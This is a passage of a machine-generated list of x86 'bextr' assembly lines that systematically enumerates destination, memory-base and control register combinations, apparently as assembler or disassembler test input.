bextr eax, [esp], r9d
bextr eax, [esp], r10d
bextr eax, [esp], r11d
bextr eax, [esp], r12d
bextr eax, [esp], r13d
bextr eax, [esp], r14d
bextr eax, [esp], r15d
bextr eax, [esp], esp
bextr eax, [esp], esi
bextr eax, [esp], ebp
bextr eax, [esi], eax
bextr eax, [esi], ebx
bextr eax, [esi], ecx
bextr eax, [esi], edx
bextr eax, [esi], edi
bextr eax, [esi], r8d
bextr eax, [esi], r9d
bextr eax, [esi], r10d
bextr eax, [esi], r11d
bextr eax, [esi], r12d
bextr eax, [esi], r13d
bextr eax, [esi], r14d
bextr eax, [esi], r15d
bextr eax, [esi], esp
bextr eax, [esi], esi
bextr eax, [esi], ebp
bextr eax, [ebp], eax
bextr eax, [ebp], ebx
bextr eax, [ebp], ecx
bextr eax, [ebp], edx
bextr eax, [ebp], edi
bextr eax, [ebp], r8d
bextr eax, [ebp], r9d
bextr eax, [ebp], r10d
bextr eax, [ebp], r11d
bextr eax, [ebp], r12d
bextr eax, [ebp], r13d
bextr eax, [ebp], r14d
bextr eax, [ebp], r15d
bextr eax, [ebp], esp
bextr eax, [ebp], esi
bextr eax, [ebp], ebp
bextr ebx, [eax], eax
bextr ebx, [eax], ebx
bextr ebx, [eax], ecx
bextr ebx, [eax], edx
bextr ebx, [eax], edi
bextr ebx, [eax], r8d
bextr ebx, [eax], r9d
bextr ebx, [eax], r10d
bextr ebx, [eax], r11d
bextr ebx, [eax], r12d
bextr ebx, [eax], r13d
bextr ebx, [eax], r14d
bextr ebx, [eax], r15d
bextr ebx, [eax], esp
bextr ebx, [eax], esi
bextr ebx, [eax], ebp
bextr ebx, [ebx], eax
bextr ebx, [ebx], ebx
bextr ebx, [ebx], ecx
bextr ebx, [ebx], edx
bextr ebx, [ebx], edi
bextr ebx, [ebx], r8d
bextr ebx, [ebx], r9d
bextr ebx, [ebx], r10d
bextr ebx, [ebx], r11d
bextr ebx, [ebx], r12d
bextr ebx, [ebx], r13d
bextr ebx, [ebx], r14d
bextr ebx, [ebx], r15d
bextr ebx, [ebx], esp
bextr ebx, [ebx], esi
bextr ebx, [ebx], ebp
bextr ebx, [ecx], eax
bextr ebx, [ecx], ebx
bextr ebx, [ecx], ecx
bextr ebx, [ecx], edx
bextr ebx, [ecx], edi
bextr ebx, [ecx], r8d
bextr ebx, [ecx], r9d
bextr ebx, [ecx], r10d
bextr ebx, [ecx], r11d
bextr ebx, [ecx], r12d
bextr ebx, [ecx], r13d
bextr ebx, [ecx], r14d
bextr ebx, [ecx], r15d
bextr ebx, [ecx], esp
bextr ebx, [ecx], esi
bextr ebx, [ecx], ebp
bextr ebx, [edx], eax
bextr ebx, [edx], ebx
bextr ebx, [edx], ecx
bextr ebx, [edx], edx
bextr ebx, [edx], edi
bextr ebx, [edx], r8d
bextr ebx, [edx], r9d
bextr ebx, [edx], r10d
bextr ebx, [edx], r11d
bextr ebx, [edx], r12d
bextr ebx, [edx], r13d
bextr ebx, [edx], r14d
bextr ebx, [edx], r15d
bextr ebx, [edx], esp
bextr ebx, [edx], esi
bextr ebx, [edx], ebp
bextr ebx, [edi], eax
bextr ebx, [edi], ebx
bextr ebx, [edi], ecx
bextr ebx, [edi], edx
bextr ebx, [edi], edi
bextr ebx, [edi], r8d
bextr ebx, [edi], r9d
bextr ebx, [edi], r10d
bextr ebx, [edi], r11d
bextr ebx, [edi], r12d
bextr ebx, [edi], r13d
bextr ebx, [edi], r14d
bextr ebx, [edi], r15d
bextr ebx, [edi], esp
bextr ebx, [edi], esi
bextr ebx, [edi], ebp
bextr ebx, [r8d], eax
bextr ebx, [r8d], ebx
bextr ebx, [r8d], ecx
bextr ebx, [r8d], edx
bextr ebx, [r8d], edi
bextr ebx, [r8d], r8d
bextr ebx, [r8d], r9d
bextr ebx, [r8d], r10d
bextr ebx, [r8d], r11d
bextr ebx, [r8d], r12d
bextr ebx, [r8d], r13d
bextr ebx, [r8d], r14d
bextr ebx, [r8d], r15d
bextr ebx, [r8d], esp
bextr ebx, [r8d], esi
bextr ebx, [r8d], ebp
bextr ebx, [r9d], eax
bextr ebx, [r9d], ebx
bextr ebx, [r9d], ecx
bextr ebx, [r9d], edx
bextr ebx, [r9d], edi
bextr ebx, [r9d], r8d
bextr ebx, [r9d], r9d
bextr ebx, [r9d], r10d
bextr ebx, [r9d], r11d
bextr ebx, [r9d], r12d
bextr ebx, [r9d], r13d
bextr ebx, [r9d], r14d
bextr ebx, [r9d], r15d
bextr ebx, [r9d], esp
bextr ebx, [r9d], esi
bextr ebx, [r9d], ebp
bextr ebx, [r10d], eax
bextr ebx, [r10d], ebx
bextr ebx, [r10d], ecx
bextr ebx, [r10d], edx
bextr ebx, [r10d], edi
bextr ebx, [r10d], r8d
bextr ebx, [r10d], r9d
bextr ebx, [r10d], r10d
bextr ebx, [r10d], r11d
bextr ebx, [r10d], r12d
bextr ebx, [r10d], r13d
bextr ebx, [r10d], r14d
bextr ebx, [r10d], r15d
bextr ebx, [r10d], esp
bextr ebx, [r10d], esi
bextr ebx, [r10d], ebp
bextr ebx, [r11d], eax
bextr ebx, [r11d], ebx
bextr ebx, [r11d], ecx
bextr ebx, [r11d], edx
bextr ebx, [r11d], edi
bextr ebx, [r11d], r8d
bextr ebx, [r11d], r9d
bextr ebx, [r11d], r10d
bextr ebx, [r11d], r11d
bextr ebx, [r11d], r12d
bextr ebx, [r11d], r13d
bextr ebx, [r11d], r14d
bextr ebx, [r11d], r15d
bextr ebx, [r11d], esp
bextr ebx, [r11d], esi
bextr ebx, [r11d], ebp
bextr ebx, [r12d], eax
bextr ebx, [r12d], ebx
bextr ebx, [r12d], ecx
bextr ebx, [r12d], edx
bextr ebx, [r12d], edi
bextr ebx, [r12d], r8d
bextr ebx, [r12d], r9d
bextr ebx, [r12d], r10d
bextr ebx, [r12d], r11d
bextr ebx, [r12d], r12d
bextr ebx, [r12d], r13d
bextr ebx, [r12d], r14d
bextr ebx, [r12d], r15d
bextr ebx, [r12d], esp
bextr ebx, [r12d], esi
bextr ebx, [r12d], ebp
bextr ebx, [r13d], eax
bextr ebx, [r13d], ebx
bextr ebx, [r13d], ecx
bextr ebx, [r13d], edx
bextr ebx, [r13d], edi
bextr ebx, [r13d], r8d
bextr ebx, [r13d], r9d
bextr ebx, [r13d], r10d
bextr ebx, [r13d], r11d
bextr ebx, [r13d], r12d
bextr ebx, [r13d], r13d
bextr ebx, [r13d], r14d
bextr ebx, [r13d], r15d
bextr ebx, [r13d], esp
bextr ebx, [r13d], esi
bextr ebx, [r13d], ebp
bextr ebx, [r14d], eax
bextr ebx, [r14d], ebx
bextr ebx, [r14d], ecx
bextr ebx, [r14d], edx
bextr ebx, [r14d], edi
bextr ebx, [r14d], r8d
bextr ebx, [r14d], r9d
bextr ebx, [r14d], r10d
bextr ebx, [r14d], r11d
bextr ebx, [r14d], r12d
bextr ebx, [r14d], r13d
bextr ebx, [r14d], r14d
bextr ebx, [r14d], r15d
bextr ebx, [r14d], esp
bextr ebx, [r14d], esi
bextr ebx, [r14d], ebp
bextr ebx, [r15d], eax
bextr ebx, [r15d], ebx
bextr ebx, [r15d], ecx
bextr ebx, [r15d], edx
bextr ebx, [r15d], edi
bextr ebx, [r15d], r8d
bextr ebx, [r15d], r9d
bextr ebx, [r15d], r10d
bextr ebx, [r15d], r11d
bextr ebx, [r15d], r12d
bextr ebx, [r15d], r13d
bextr ebx, [r15d], r14d
bextr ebx, [r15d], r15d
bextr ebx, [r15d], esp
bextr ebx, [r15d], esi
bextr ebx, [r15d], ebp
bextr ebx, [esp], eax
bextr ebx, [esp], ebx
bextr ebx, [esp], ecx
bextr ebx, [esp], edx
bextr ebx, [esp], edi
bextr ebx, [esp], r8d
bextr ebx, [esp], r9d
bextr ebx, [esp], r10d
bextr ebx, [esp], r11d
bextr ebx, [esp], r12d
bextr ebx, [esp], r13d
bextr ebx, [esp], r14d
bextr ebx, [esp], r15d
bextr ebx, [esp], esp
bextr ebx, [esp], esi
bextr ebx, [esp], ebp
bextr ebx, [esi], eax
bextr ebx, [esi], ebx
bextr ebx, [esi], ecx
bextr ebx, [esi], edx
bextr ebx, [esi], edi
bextr ebx, [esi], r8d
bextr ebx, [esi], r9d
bextr ebx, [esi], r10d
bextr ebx, [esi], r11d
bextr ebx, [esi], r12d
bextr ebx, [esi], r13d
bextr ebx, [esi], r14d
bextr ebx, [esi], r15d
bextr ebx, [esi], esp
bextr ebx, [esi], esi
bextr ebx, [esi], ebp
bextr ebx, [ebp], eax
bextr ebx, [ebp], ebx
bextr ebx, [ebp], ecx
bextr ebx, [ebp], edx
bextr ebx, [ebp], edi
bextr ebx, [ebp], r8d
bextr ebx, [ebp], r9d
bextr ebx, [ebp], r10d
bextr ebx, [ebp], r11d
bextr ebx, [ebp], r12d
bextr ebx, [ebp], r13d
bextr ebx, [ebp], r14d
bextr ebx, [ebp], r15d
bextr ebx, [ebp], esp
bextr ebx, [ebp], esi
bextr ebx, [ebp], ebp
bextr ecx, [eax], eax
bextr ecx, [eax], ebx
bextr ecx, [eax], ecx
bextr ecx, [eax], edx
bextr ecx, [eax], edi
bextr ecx, [eax], r8d
bextr ecx, [eax], r9d
bextr ecx, [eax], r10d
bextr ecx, [eax], r11d
bextr ecx, [eax], r12d
bextr ecx, [eax], r13d
bextr ecx, [eax], r14d
bextr ecx, [eax], r15d
bextr ecx, [eax], esp
bextr ecx, [eax], esi
bextr ecx, [eax], ebp
bextr ecx, [ebx], eax
bextr ecx, [ebx], ebx
bextr ecx, [ebx], ecx
bextr ecx, [ebx], edx
bextr ecx, [ebx], edi
bextr ecx, [ebx], r8d
bextr ecx, [ebx], r9d
bextr ecx, [ebx], r10d
bextr ecx, [ebx], r11d
bextr ecx, [ebx], r12d
bextr ecx, [ebx], r13d
bextr ecx, [ebx], r14d
bextr ecx, [ebx], r15d
bextr ecx, [ebx], esp
bextr ecx, [ebx], esi
bextr ecx, [ebx], ebp
bextr ecx, [ecx], eax
bextr ecx, [ecx], ebx
bextr ecx, [ecx], ecx
bextr ecx, [ecx], edx
bextr ecx, [ecx], edi
bextr ecx, [ecx], r8d
bextr ecx, [ecx], r9d
bextr ecx, [ecx], r10d
bextr ecx, [ecx], r11d
bextr ecx, [ecx], r12d
bextr ecx, [ecx], r13d
bextr ecx, [ecx], r14d
bextr ecx, [ecx], r15d
bextr ecx, [ecx], esp
bextr ecx, [ecx], esi
bextr ecx, [ecx], ebp
bextr ecx, [edx], eax
bextr ecx, [edx], ebx
bextr ecx, [edx], ecx
bextr ecx, [edx], edx
bextr ecx, [edx], edi
bextr ecx, [edx], r8d
bextr ecx, [edx], r9d
bextr ecx, [edx], r10d
bextr ecx, [edx], r11d
bextr ecx, [edx], r12d
bextr ecx, [edx], r13d
bextr ecx, [edx], r14d
bextr ecx, [edx], r15d
bextr ecx, [edx], esp
bextr ecx, [edx], esi
bextr ecx, [edx], ebp
bextr ecx, [edi], eax
bextr ecx, [edi], ebx
bextr ecx, [edi], ecx
bextr ecx, [edi], edx
bextr ecx, [edi], edi
bextr ecx, [edi], r8d
bextr ecx, [edi], r9d
bextr ecx, [edi], r10d
bextr ecx, [edi], r11d
bextr ecx, [edi], r12d
bextr ecx, [edi], r13d
bextr ecx, [edi], r14d
bextr ecx, [edi], r15d
bextr ecx, [edi], esp
bextr ecx, [edi], esi
bextr ecx, [edi], ebp
bextr ecx, [r8d], eax
bextr ecx, [r8d], ebx
bextr ecx, [r8d], ecx
bextr ecx, [r8d], edx
bextr ecx, [r8d], edi
bextr ecx, [r8d], r8d
bextr ecx, [r8d], r9d
bextr ecx, [r8d], r10d
bextr ecx, [r8d], r11d
bextr ecx, [r8d], r12d
bextr ecx, [r8d], r13d
bextr ecx, [r8d], r14d
bextr ecx, [r8d], r15d
bextr ecx, [r8d], esp
bextr ecx, [r8d], esi
bextr ecx, [r8d], ebp
bextr ecx, [r9d], eax
bextr ecx, [r9d], ebx
bextr ecx, [r9d], ecx
bextr ecx, [r9d], edx
bextr ecx, [r9d], edi
bextr ecx, [r9d], r8d
bextr ecx, [r9d], r9d
bextr ecx, [r9d], r10d
bextr ecx, [r9d], r11d
bextr ecx, [r9d], r12d
bextr ecx, [r9d], r13d
bextr ecx, [r9d], r14d
bextr ecx, [r9d], r15d
bextr ecx, [r9d], esp
bextr ecx, [r9d], esi
bextr ecx, [r9d], ebp
bextr ecx, [r10d], eax
bextr ecx, [r10d], ebx
bextr ecx, [r10d], ecx
bextr ecx, [r10d], edx
bextr ecx, [r10d], edi
bextr ecx, [r10d], r8d
bextr ecx, [r10d], r9d
bextr ecx, [r10d], r10d
bextr ecx, [r10d], r11d
bextr ecx, [r10d], r12d
bextr ecx, [r10d], r13d
bextr ecx, [r10d], r14d
bextr ecx, [r10d], r15d
bextr ecx, [r10d], esp
bextr ecx, [r10d], esi
bextr ecx, [r10d], ebp
bextr ecx, [r11d], eax
bextr ecx, [r11d], ebx
bextr ecx, [r11d], ecx
bextr ecx, [r11d], edx
bextr ecx, [r11d], edi
bextr ecx, [r11d], r8d
bextr ecx, [r11d], r9d
bextr ecx, [r11d], r10d
bextr ecx, [r11d], r11d
bextr ecx, [r11d], r12d
bextr ecx, [r11d], r13d
bextr ecx, [r11d], r14d
bextr ecx, [r11d], r15d
bextr ecx, [r11d], esp
bextr ecx, [r11d], esi
bextr ecx, [r11d], ebp
bextr ecx, [r12d], eax
bextr ecx, [r12d], ebx
bextr ecx, [r12d], ecx
bextr ecx, [r12d], edx
bextr ecx, [r12d], edi
bextr ecx, [r12d], r8d
bextr ecx, [r12d], r9d
bextr ecx, [r12d], r10d
bextr ecx, [r12d], r11d
bextr ecx, [r12d], r12d
bextr ecx, [r12d], r13d
bextr ecx, [r12d], r14d
bextr ecx, [r12d], r15d
bextr ecx, [r12d], esp
bextr ecx, [r12d], esi
bextr ecx, [r12d], ebp
bextr ecx, [r13d], eax
bextr ecx, [r13d], ebx
bextr ecx, [r13d], ecx
bextr ecx, [r13d], edx
bextr ecx, [r13d], edi
bextr ecx, [r13d], r8d
bextr ecx, [r13d], r9d
bextr ecx, [r13d], r10d
bextr ecx, [r13d], r11d
bextr ecx, [r13d], r12d
bextr ecx, [r13d], r13d
bextr ecx, [r13d], r14d
bextr ecx, [r13d], r15d
bextr ecx, [r13d], esp
bextr ecx, [r13d], esi
bextr ecx, [r13d], ebp
bextr ecx, [r14d], eax
bextr ecx, [r14d], ebx
bextr ecx, [r14d], ecx
bextr ecx, [r14d], edx
bextr ecx, [r14d], edi
bextr ecx, [r14d], r8d
bextr ecx, [r14d], r9d
bextr ecx, [r14d], r10d
bextr ecx, [r14d], r11d
bextr ecx, [r14d], r12d
bextr ecx, [r14d], r13d
bextr ecx, [r14d], r14d
bextr ecx, [r14d], r15d
bextr ecx, [r14d], esp
bextr ecx, [r14d], esi
bextr ecx, [r14d], ebp
bextr ecx, [r15d], eax
bextr ecx, [r15d], ebx
bextr ecx, [r15d], ecx
bextr ecx, [r15d], edx
bextr ecx, [r15d], edi
bextr ecx, [r15d], r8d
bextr ecx, [r15d], r9d
bextr ecx, [r15d], r10d
bextr ecx, [r15d], r11d
bextr ecx, [r15d], r12d
bextr ecx, [r15d], r13d
bextr ecx, [r15d], r14d
bextr ecx, [r15d], r15d
bextr ecx, [r15d], esp
bextr ecx, [r15d], esi
bextr ecx, [r15d], ebp
bextr ecx, [esp], eax
bextr ecx, [esp], ebx
bextr ecx, [esp], ecx
bextr ecx, [esp], edx
bextr ecx, [esp], edi
bextr ecx, [esp], r8d
bextr ecx, [esp], r9d
bextr ecx, [esp], r10d
bextr ecx, [esp], r11d
bextr ecx, [esp], r12d
bextr ecx, [esp], r13d
bextr ecx, [esp], r14d
bextr ecx, [esp], r15d
bextr ecx, [esp], esp
bextr ecx, [esp], esi
bextr ecx, [esp], ebp
bextr ecx, [esi], eax
bextr ecx, [esi], ebx
bextr ecx, [esi], ecx
bextr ecx, [esi], edx
bextr ecx, [esi], edi
bextr ecx, [esi], r8d
bextr ecx, [esi], r9d
bextr ecx, [esi], r10d
bextr ecx, [esi], r11d
bextr ecx, [esi], r12d
bextr ecx, [esi], r13d
bextr ecx, [esi], r14d
bextr ecx, [esi], r15d
bextr ecx, [esi], esp
bextr ecx, [esi], esi
bextr ecx, [esi], ebp
bextr ecx, [ebp], eax
bextr ecx, [ebp], ebx
bextr ecx, [ebp], ecx
bextr ecx, [ebp], edx
bextr ecx, [ebp], edi
bextr ecx, [ebp], r8d
bextr ecx, [ebp], r9d
bextr ecx, [ebp], r10d
bextr ecx, [ebp], r11d
bextr ecx, [ebp], r12d
bextr ecx, [ebp], r13d
bextr ecx, [ebp], r14d
bextr ecx, [ebp], r15d
bextr ecx, [ebp], esp
bextr ecx, [ebp], esi
bextr ecx, [ebp], ebp
bextr edx, [eax], eax
bextr edx, [eax], ebx
bextr edx, [eax], ecx
bextr edx, [eax], edx
bextr edx, [eax], edi
bextr edx, [eax], r8d
bextr edx, [eax], r9d
bextr edx, [eax], r10d
bextr edx, [eax], r11d
bextr edx, [eax], r12d
bextr edx, [eax], r13d
bextr edx, [eax], r14d
bextr edx, [eax], r15d
bextr edx, [eax], esp
bextr edx, [eax], esi
bextr edx, [eax], ebp
bextr edx, [ebx], eax
bextr edx, [ebx], ebx
bextr edx, [ebx], ecx
bextr edx, [ebx], edx
bextr edx, [ebx], edi
bextr edx, [ebx], r8d
bextr edx, [ebx], r9d
bextr edx, [ebx], r10d
bextr edx, [ebx], r11d
bextr edx, [ebx], r12d
bextr edx, [ebx], r13d
bextr edx, [ebx], r14d
bextr edx, [ebx], r15d
bextr edx, [ebx], esp
bextr edx, [ebx], esi
bextr edx, [ebx], ebp
bextr edx, [ecx], eax
bextr edx, [ecx], ebx
bextr edx, [ecx], ecx
bextr edx, [ecx], edx
bextr edx, [ecx], edi
bextr edx, [ecx], r8d
bextr edx, [ecx], r9d
bextr edx, [ecx], r10d
bextr edx, [ecx], r11d
bextr edx, [ecx], r12d
bextr edx, [ecx], r13d
bextr edx, [ecx], r14d
bextr edx, [ecx], r15d
bextr edx, [ecx], esp
bextr edx, [ecx], esi
bextr edx, [ecx], ebp
bextr edx, [edx], eax
bextr edx, [edx], ebx
bextr edx, [edx], ecx
bextr edx, [edx], edx
bextr edx, [edx], edi
bextr edx, [edx], r8d
bextr edx, [edx], r9d
bextr edx, [edx], r10d
bextr edx, [edx], r11d
bextr edx, [edx], r12d
bextr edx, [edx], r13d
bextr edx, [edx], r14d
bextr edx, [edx], r15d
bextr edx, [edx], esp
bextr edx, [edx], esi
bextr edx, [edx], ebp
bextr edx, [edi], eax
bextr edx, [edi], ebx
bextr edx, [edi], ecx
bextr edx, [edi], edx
bextr edx, [edi], edi
bextr edx, [edi], r8d
bextr edx, [edi], r9d
bextr edx, [edi], r10d
bextr edx, [edi], r11d
bextr edx, [edi], r12d
bextr edx, [edi], r13d
bextr edx, [edi], r14d
bextr edx, [edi], r15d
bextr edx, [edi], esp
bextr edx, [edi], esi
bextr edx, [edi], ebp
bextr edx, [r8d], eax
bextr edx, [r8d], ebx
bextr edx, [r8d], ecx
bextr edx, [r8d], edx
bextr edx, [r8d], edi
bextr edx, [r8d], r8d
bextr edx, [r8d], r9d
bextr edx, [r8d], r10d
bextr edx, [r8d], r11d
bextr edx, [r8d], r12d
bextr edx, [r8d], r13d
bextr edx, [r8d], r14d
bextr edx, [r8d], r15d
bextr edx, [r8d], esp
bextr edx, [r8d], esi
bextr edx, [r8d], ebp
bextr edx, [r9d], eax
bextr edx, [r9d], ebx
bextr edx, [r9d], ecx
bextr edx, [r9d], edx
bextr edx, [r9d], edi
bextr edx, [r9d], r8d
bextr edx, [r9d], r9d
bextr edx, [r9d], r10d
bextr edx, [r9d], r11d
bextr edx, [r9d], r12d
bextr edx, [r9d], r13d
bextr edx, [r9d], r14d
bextr edx, [r9d], r15d
bextr edx, [r9d], esp
bextr edx, [r9d], esi
bextr edx, [r9d], ebp
bextr edx, [r10d], eax
bextr edx, [r10d], ebx
bextr edx, [r10d], ecx
bextr edx, [r10d], edx
bextr edx, [r10d], edi
bextr edx, [r10d], r8d
bextr edx, [r10d], r9d
bextr edx, [r10d], r10d
bextr edx, [r10d], r11d
bextr edx, [r10d], r12d
bextr edx, [r10d], r13d
bextr edx, [r10d], r14d
bextr edx, [r10d], r15d
bextr edx, [r10d], esp
bextr edx, [r10d], esi
bextr edx, [r10d], ebp
bextr edx, [r11d], eax
bextr edx, [r11d], ebx
bextr edx, [r11d], ecx
bextr edx, [r11d], edx
bextr edx, [r11d], edi
bextr edx, [r11d], r8d
bextr edx, [r11d], r9d
bextr edx, [r11d], r10d
bextr edx, [r11d], r11d
bextr edx, [r11d], r12d
bextr edx, [r11d], r13d
bextr edx, [r11d], r14d
bextr edx, [r11d], r15d
bextr edx, [r11d], esp
bextr edx, [r11d], esi
bextr edx, [r11d], ebp
bextr edx, [r12d], eax
bextr edx, [r12d], ebx
bextr edx, [r12d], ecx
bextr edx, [r12d], edx
bextr edx, [r12d], edi
bextr edx, [r12d], r8d
bextr edx, [r12d], r9d
bextr edx, [r12d], r10d
bextr edx, [r12d], r11d
bextr edx, [r12d], r12d
bextr edx, [r12d], r13d
bextr edx, [r12d], r14d
bextr edx, [r12d], r15d
bextr edx, [r12d], esp
bextr edx, [r12d], esi
bextr edx, [r12d], ebp
bextr edx, [r13d], eax
bextr edx, [r13d], ebx
bextr edx, [r13d], ecx
bextr edx, [r13d], edx
bextr edx, [r13d], edi
bextr edx, [r13d], r8d
bextr edx, [r13d], r9d
bextr edx, [r13d], r10d
bextr edx, [r13d], r11d
bextr edx, [r13d], r12d
bextr edx, [r13d], r13d
bextr edx, [r13d], r14d
bextr edx, [r13d], r15d
bextr edx, [r13d], esp
bextr edx, [r13d], esi
bextr edx, [r13d], ebp
bextr edx, [r14d], eax
bextr edx, [r14d], ebx
bextr edx, [r14d], ecx
bextr edx, [r14d], edx
bextr edx, [r14d], edi
bextr edx, [r14d], r8d
bextr edx, [r14d], r9d
bextr edx, [r14d], r10d
bextr edx, [r14d], r11d
bextr edx, [r14d], r12d
bextr edx, [r14d], r13d
bextr edx, [r14d], r14d
bextr edx, [r14d], r15d
bextr edx, [r14d], esp
bextr edx, [r14d], esi
bextr edx, [r14d], ebp
bextr edx, [r15d], eax
bextr edx, [r15d], ebx
bextr edx, [r15d], ecx
bextr edx, [r15d], edx
bextr edx, [r15d], edi
bextr edx, [r15d], r8d
bextr edx, [r15d], r9d
bextr edx, [r15d], r10d
bextr edx, [r15d], r11d
bextr edx, [r15d], r12d
bextr edx, [r15d], r13d
bextr edx, [r15d], r14d
bextr edx, [r15d], r15d
bextr edx, [r15d], esp
bextr edx, [r15d], esi
bextr edx, [r15d], ebp
bextr edx, [esp], eax
bextr edx, [esp], ebx
bextr edx, [esp], ecx
bextr edx, [esp], edx
bextr edx, [esp], edi
bextr edx, [esp], r8d
bextr edx, [esp], r9d
bextr edx, [esp], r10d
bextr edx, [esp], r11d
bextr edx, [esp], r12d
bextr edx, [esp], r13d
bextr edx, [esp], r14d
bextr edx, [esp], r15d
bextr edx, [esp], esp
bextr edx, [esp], esi
bextr edx, [esp], ebp
bextr edx, [esi], eax
bextr edx, [esi], ebx
bextr edx, [esi], ecx
bextr edx, [esi], edx
bextr edx, [esi], edi
bextr edx, [esi], r8d
bextr edx, [esi], r9d
bextr edx, [esi], r10d
bextr edx, [esi], r11d
bextr edx, [esi], r12d
bextr edx, [esi], r13d
bextr edx, [esi], r14d
bextr edx, [esi], r15d
bextr edx, [esi], esp
bextr edx, [esi], esi
bextr edx, [esi], ebp
bextr edx, [ebp], eax
bextr edx, [ebp], ebx
bextr edx, [ebp], ecx
bextr edx, [ebp], edx
bextr edx, [ebp], edi
bextr edx, [ebp], r8d
bextr edx, [ebp], r9d
bextr edx, [ebp], r10d
bextr edx, [ebp], r11d
bextr edx, [ebp], r12d
bextr edx, [ebp], r13d
bextr edx, [ebp], r14d
bextr edx, [ebp], r15d
bextr edx, [ebp], esp
bextr edx, [ebp], esi
bextr edx, [ebp], ebp
bextr edi, [eax], eax
bextr edi, [eax], ebx
bextr edi, [eax], ecx
bextr edi, [eax], edx
bextr edi, [eax], edi
bextr edi, [eax], r8d
bextr edi, [eax], r9d
bextr edi, [eax], r10d
bextr edi, [eax], r11d
bextr edi, [eax], r12d
bextr edi, [eax], r13d
bextr edi, [eax], r14d
bextr edi, [eax], r15d
bextr edi, [eax], esp
bextr edi, [eax], esi
bextr edi, [eax], ebp
bextr edi, [ebx], eax
bextr edi, [ebx], ebx
bextr edi, [ebx], ecx
bextr edi, [ebx], edx
bextr edi, [ebx], edi
bextr edi, [ebx], r8d
bextr edi, [ebx], r9d
bextr edi, [ebx], r10d
bextr edi, [ebx], r11d
bextr edi, [ebx], r12d
bextr edi, [ebx], r13d
bextr edi, [ebx], r14d
bextr edi, [ebx], r15d
bextr edi, [ebx], esp
bextr edi, [ebx], esi
bextr edi, [ebx], ebp
bextr edi, [ecx], eax
bextr edi, [ecx], ebx
bextr edi, [ecx], ecx
bextr edi, [ecx], edx
bextr edi, [ecx], edi
bextr edi, [ecx], r8d
bextr edi, [ecx], r9d
bextr edi, [ecx], r10d
bextr edi, [ecx], r11d
bextr edi, [ecx], r12d
bextr edi, [ecx], r13d
bextr edi, [ecx], r14d
bextr edi, [ecx], r15d
bextr edi, [ecx], esp
bextr edi, [ecx], esi
bextr edi, [ecx], ebp
bextr edi, [edx], eax
bextr edi, [edx], ebx
bextr edi, [edx], ecx
bextr edi, [edx], edx
bextr edi, [edx], edi
bextr edi, [edx], r8d
bextr edi, [edx], r9d
bextr edi, [edx], r10d
bextr edi, [edx], r11d
bextr edi, [edx], r12d
bextr edi, [edx], r13d
bextr edi, [edx], r14d
bextr edi, [edx], r15d
bextr edi, [edx], esp
bextr edi, [edx], esi
bextr edi, [edx], ebp
bextr edi, [edi], eax
bextr edi, [edi], ebx
bextr edi, [edi], ecx
bextr edi, [edi], edx
bextr edi, [edi], edi
bextr edi, [edi], r8d
bextr edi, [edi], r9d
bextr edi, [edi], r10d
bextr edi, [edi], r11d
bextr edi, [edi], r12d
bextr edi, [edi], r13d
bextr edi, [edi], r14d
bextr edi, [edi], r15d
bextr edi, [edi], esp
bextr edi, [edi], esi
bextr edi, [edi], ebp
bextr edi, [r8d], eax
bextr edi, [r8d], ebx
bextr edi, [r8d], ecx
bextr edi, [r8d], edx
bextr edi, [r8d], edi
bextr edi, [r8d], r8d
bextr edi, [r8d], r9d
bextr edi, [r8d], r10d
bextr edi, [r8d], r11d
bextr edi, [r8d], r12d
bextr edi, [r8d], r13d
bextr edi, [r8d], r14d
bextr edi, [r8d], r15d
bextr edi, [r8d], esp
bextr edi, [r8d], esi
bextr edi, [r8d], ebp
bextr edi, [r9d], eax
bextr edi, [r9d], ebx
bextr edi, [r9d], ecx
bextr edi, [r9d], edx
bextr edi, [r9d], edi
bextr edi, [r9d], r8d
bextr edi, [r9d], r9d
bextr edi, [r9d], r10d
bextr edi, [r9d], r11d
bextr edi, [r9d], r12d
bextr edi, [r9d], r13d
bextr edi, [r9d], r14d
bextr edi, [r9d], r15d
bextr edi, [r9d], esp
bextr edi, [r9d], esi
bextr edi, [r9d], ebp
bextr edi, [r10d], eax
bextr edi, [r10d], ebx
bextr edi, [r10d], ecx
bextr edi, [r10d], edx
bextr edi, [r10d], edi
bextr edi, [r10d], r8d
bextr edi, [r10d], r9d
bextr edi, [r10d], r10d
bextr edi, [r10d], r11d
bextr edi, [r10d], r12d
bextr edi, [r10d], r13d
bextr edi, [r10d], r14d
bextr edi, [r10d], r15d
bextr edi, [r10d], esp
bextr edi, [r10d], esi
bextr edi, [r10d], ebp
bextr edi, [r11d], eax
bextr edi, [r11d], ebx
bextr edi, [r11d], ecx
bextr edi, [r11d], edx
bextr edi, [r11d], edi
bextr edi, [r11d], r8d
bextr edi, [r11d], r9d
bextr edi, [r11d], r10d
bextr edi, [r11d], r11d
bextr edi, [r11d], r12d
bextr edi, [r11d], r13d
bextr edi, [r11d], r14d
bextr edi, [r11d], r15d
bextr edi, [r11d], esp
bextr edi, [r11d], esi
bextr edi, [r11d], ebp
bextr edi, [r12d], eax
bextr edi, [r12d], ebx
bextr edi, [r12d], ecx
bextr edi, [r12d], edx
bextr edi, [r12d], edi
bextr edi, [r12d], r8d
bextr edi, [r12d], r9d
bextr edi, [r12d], r10d
bextr edi, [r12d], r11d
bextr edi, [r12d], r12d
bextr edi, [r12d], r13d
bextr edi, [r12d], r14d
bextr edi, [r12d], r15d
bextr edi, [r12d], esp
bextr edi, [r12d], esi
bextr edi, [r12d], ebp
bextr edi, [r13d], eax
bextr edi, [r13d], ebx
bextr edi, [r13d], ecx
bextr edi, [r13d], edx
bextr edi, [r13d], edi
bextr edi, [r13d], r8d
bextr edi, [r13d], r9d
bextr edi, [r13d], r10d
bextr edi, [r13d], r11d
bextr edi, [r13d], r12d
bextr edi, [r13d], r13d
bextr edi, [r13d], r14d
bextr edi, [r13d], r15d
bextr edi, [r13d], esp
bextr edi, [r13d], esi
bextr edi, [r13d], ebp
bextr edi, [r14d], eax
bextr edi, [r14d], ebx
bextr edi, [r14d], ecx
bextr edi, [r14d], edx
bextr edi, [r14d], edi
bextr edi, [r14d], r8d
bextr edi, [r14d], r9d
bextr edi, [r14d], r10d
bextr edi, [r14d], r11d
bextr edi, [r14d], r12d
bextr edi, [r14d], r13d
bextr edi, [r14d], r14d
bextr edi, [r14d], r15d
bextr edi, [r14d], esp
bextr edi, [r14d], esi
bextr edi, [r14d], ebp
bextr edi, [r15d], eax
bextr edi, [r15d], ebx
bextr edi, [r15d], ecx
bextr edi, [r15d], edx
bextr edi, [r15d], edi
